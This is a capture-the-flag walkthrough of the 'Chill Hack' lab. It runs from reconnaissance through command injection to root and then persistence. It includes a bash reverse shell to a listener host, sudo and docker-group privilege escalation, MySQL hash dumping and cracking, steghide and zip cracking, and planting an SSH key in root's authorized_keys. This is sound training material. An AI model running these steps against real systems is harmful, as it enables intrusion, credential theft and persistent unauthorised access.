Chill Hack

Room Info

Name
🔗 Chill Hack
Description
📝 Easy level CTF. Capture the flags and have fun!
Target IP
🎯 10.10.141.41

Recon

su
echo "10.10.141.41 chillhack.thm" >> /etc/hosts

# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts

Start Reconnaissance

mkdir thm/chillhack
cd thm/chillhack
nmap chillhack.thm
    21/tcp open  ftp
    22/tcp open  ssh
    80/tcp open  http

nmap -sV -sC -Pn -O -oA chillhack chillhack.thm

21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.65.48
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09f95db918d0b23a822d6e768cc20144 (RSA)
|   256 1bcf3a498b1b20b02c6aa551a88f1e62 (ECDSA)
|_  256 3005cc52c66f6504860f7241c8a439cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info

Enumerate Web server directories

gobuster dir -u http://chillhack.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/images (Status: 301) [Size: 315] [--> http://chillhack.thm/images/]
/css 	(Status: 301) [Size: 312] [--> http://chillhack.thm/css/]
/js 	(Status: 301) [Size: 311] [--> http://chillhack.thm/js/]
/fonts  (Status: 301) [Size: 314] [--> http://chillhack.thm/fonts/]
/secret (Status: 301) [Size: 315] [--> http://chillhack.thm/secret/]

Navigate to

http://chillhack.thm/secret/
input a command. It works, a Command Injection vulnerability is present in the web server.

Exploitation

# Open a listener on the Kali machine
nc -nvlp 3333

Input a command to get a reverse shell

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.18.65.48/3333 0>&1'

Get a Full TTY shell on the server

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background CTRL+Z
stty raw -echo && fg
# ENTER
export SHELL=/bin/bash
export TERM=screen
stty rows 36 columns 157
reset

sudo -l

/home/apaar/.helpline.sh file can be run by the www-data user as user apaar

ls -lah /home/apaar/

-rw------- 1 apaar apaar    0 Oct  4  2020 .bash_history
-rw-r--r-- 1 apaar apaar  220 Oct  3  2020 .bash_logout
-rw-r--r-- 1 apaar apaar 3.7K Oct  3  2020 .bashrc
drwx------ 2 apaar apaar 4.0K Oct  3  2020 .cache
drwx------ 3 apaar apaar 4.0K Oct  3  2020 .gnupg
-rwxrwxr-x 1 apaar apaar  286 Oct  4  2020 .helpline.sh
-rw-r--r-- 1 apaar apaar  807 Oct  3  2020 .profile
drwxr-xr-x 2 apaar apaar 4.0K Oct  3  2020 .ssh
-rw------- 1 apaar apaar  817 Oct  3  2020 .viminfo
-rw-rw---- 1 apaar apaar   46 Oct  4  2020 local.txt

cat /etc/passwd

Get a shell as user apaar

sudo -u apaar /home/apaar/.helpline.sh
# in the messagte input:
/usr/bin/script -qc /bin/bash /dev/null

cd
cat /home/apaar/local.txt

Reveal Flag - user: 🚩

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

Privilege Escalation

ss -tnl
    Local Address:Port
        127.0.0.1:9001
        127.0.0.1:3306
    127.0.0.53%lo:53
          0.0.0.0:22
                *:80
                *:21
             [::]:22

Use SSH Port Forwarding to access the local open port 9001.

Stabilize with a SSH connection by generating a SSH key and put it into the apaar's user authorized_keys

# Kali
ssh-keygen -f apaar_rsa
chmod 600 apaar_rsa
cat apaar_rsa.pub

# Back to the Chillhack box "apaar" shell
cd /home/apaar/.ssh
echo "<apaar_rsa.pub_Output>" >> authorized_keys

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8g6f2IrM5xN6SdfgZs1c7O76SZIQSIKjQ7BjYofmLSxRFWG/yXvexxidE+Ka+qV1HzPaCbOZ8TTowMRnonni699Isnx8/Aljs4vpHgOBJpf9jXzjlh4mjO0SgflfvecnTPIVz4ISn2UviCOm2XnlzJeFdcNm8Ej71+A4MKoPDWp9xSaLISebR28Y3phWvsuyBDt35Nc9Je1nKc9Oc7zROmSomQTJCsXBTRDqDLaImAXwvXMXbfMDPvZRXD4Vag/RusBqmlSaKNpCg+4ggDn1jELMVRWI0aFSMC4iRHA4tENmwM/D+gBu6/EUemuYhYJcaH0dPvVpri5/TXy8k418uJMJWRbh66Gy7pUG44U7jNu4M1OWUJNOw3fcUDRo6udz4/XgDDCBAICXK9b38Ar3ykH+nPuBW1GrivOq+iiXAILJ9yPTdDjirUcrTaEze3Eq/r/vQO5kvMe9wWhUtr87EFDSuFfZt/F0asKFjCbQ/Xk8a4hUfC+FC8jnik94KiQ8=" >> /home/apaar/.ssh/authorized_keys

# Try the SSH port forwarding with the key
ssh -L 9001:127.0.0.1:9001 -i apaar_rsa apaar@chillhack.thm

Navigate to

http://chillhack.thm:9001/

ls -lah /var/www/files/
cat account.php
cat hacker.php
cat index.php
# MySQL root password !@m+her00+@db
su
# the password does NOT work for "root" user

This part can be skipped directly to SCP download of the necessary hacker-with-laptop_23-2147985341.jpg file.
Enumerate MySQL with root:!@m+her00+@db
mysql -u root -p webportal

SHOW tables;
SELECT * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
Check the two password strings
hash-identifier 7e53614ced3640d5de23f111806cc4fd
hash-identifier 686216240e5af30df0501e53c789a649
# Possible Hash is MD5
Check them on https://crackstation.net/
Hash	Type	Result
7e53614ced3640d5de23f111806cc4fd	md5	masterpassword
686216240e5af30df0501e53c789a649	md5	dontaskdonttell
📌 Login credentials are:
Aurick:masterpassword
cullapaar:dontaskdonttell
Login to the portal http://chillhack.thm:9001/. The successful login redirect to hacker.php page where there is a hacker with laptop .jpg file that needs to be downloaded.

Download the hacker-with-laptop_23-2147985341.jpg file using scp

scp <USER>@<TARGET_IP>:~/.ssh/id_rsa .

scp -i apaar_rsa apaar@chillhack.thm:/var/www/files/images/hacker-with-laptop_23-2147985341.jpg .

Check the image file with steghide

steghide info hacker-with-laptop_23-2147985341.jpg

    "hacker-with-laptop_23-2147985341.jpg":
      format: jpeg
      capacity: 3.6 KB
    Try to get information about embedded data ? (y/n) y
    Enter passphrase: 
      embedded file "backup.zip":
        size: 750.0 Byte
        encrypted: rijndael-128, cbc
        compressed: yes

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

unzip backup.zip
# Password necessary

Crack Zip

zip2john backup.zip > backupzip.hash
john backupzip.hash --wordlist=/usr/share/wordlists/rockyou.txt

unzip backup.zip
# use "pass1word"

Check the unzipped file

cat source_code.php

Decrypt the base64 hash

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d

📌 anurodh:!d0ntKn0wmYp@ssw0rd

# In the "apaar" shell session
su anurodh
id

anurodh is in the docker group. Spawn a root shell by using a docker command.

Check it from the GTFOBins - Docker list

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

python3 -c 'import pty;pty.spawn("/bin/bash")'
ls /root
cat /root/proof.txt

Reveal Flag - root: 🚩

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

Persistence (extra)

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8g6f2IrM5xN6SdfgZs1c7O76SZIQSIKjQ7BjYofmLSxRFWG/yXvexxidE+Ka+qV1HzPaCbOZ8TTowMRnonni699Isnx8/Aljs4vpHgOBJpf9jXzjlh4mjO0SgflfvecnTPIVz4ISn2UviCOm2XnlzJeFdcNm8Ej71+A4MKoPDWp9xSaLISebR28Y3phWvsuyBDt35Nc9Je1nKc9Oc7zROmSomQTJCsXBTRDqDLaImAXwvXMXbfMDPvZRXD4Vag/RusBqmlSaKNpCg+4ggDn1jELMVRWI0aFSMC4iRHA4tENmwM/D+gBu6/EUemuYhYJcaH0dPvVpri5/TXy8k418uJMJWRbh66Gy7pUG44U7jNu4M1OWUJNOw3fcUDRo6udz4/XgDDCBAICXK9b38Ar3ykH+nPuBW1GrivOq+iiXAILJ9yPTdDjirUcrTaEze3Eq/r/vQO5kvMe9wWhUtr87EFDSuFfZt/F0asKFjCbQ/Xk8a4hUfC+FC8jnik94KiQ8=" >> /root/.ssh/authorized_keys

ssh -i apaar_rsa root@chillhack.thm

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Last updated 1 year ago